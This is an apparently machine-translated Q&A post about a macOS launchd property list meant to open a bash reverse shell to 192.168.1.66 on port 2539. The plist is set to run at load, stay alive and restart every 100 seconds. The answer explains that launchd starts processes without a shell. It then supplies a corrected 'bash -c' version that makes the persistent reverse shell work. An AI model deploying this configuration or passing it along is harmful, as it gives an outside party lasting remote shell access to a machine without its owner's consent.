Launchd 文件用于反向流

Launchd 文件用于反向流

有人知道为什么加载时无法执行反向流连接吗?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.unix.bash.plist</string>
        <key>ProgramArguments</key>
        <array>
                <string>/bin/bash</string>
                <string>-i</string>
                <string>&gt;&amp; /dev/tcp/192.168.1.66/2539 0&gt;&amp; 1</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>StartInterval</key>
        <integer>100</integer>
        <key>KeepAlive</key>
        <true/>
</dict>
</plist>

答案1

重定向(例如<>)(在大多数 Unix 中,甚至是/dev/tcp特殊文件)是 shell 命令语法的一部分,只能在支持它们的 shell 中使用。但是,启动 才不是使用任何 shell 启动服务 – 它直接使用或类似函数创建进程execve(),传递不再进一步解释的参数列表。

在这种情况下,/bin/bash将被执行,并接收以下参数:

  • argv[0] = " /bin/bash"
  • argv[1] = " -i"
  • argv[2] = " >& /dev/tcp/192.168.1.66/2539 0>& 1"
  • argv[3] = 空

Bash 将第二个参数(argv[2])解释为要运行的 shell 脚本的文件名;由于这样的文件不存在,因此 bash 退出。


现在,如果你需要该命令需要由 shell 解释,您必须手动运行 shell:

    <key>ProgramArguments</key>
    <array>
            <string>/bin/bash</string>
            <string>-c</string>
            <string>bash -i &gt;&amp; /dev/tcp/192.168.1.66/2539 0&gt;&amp; 1</string>
    </array>

相关内容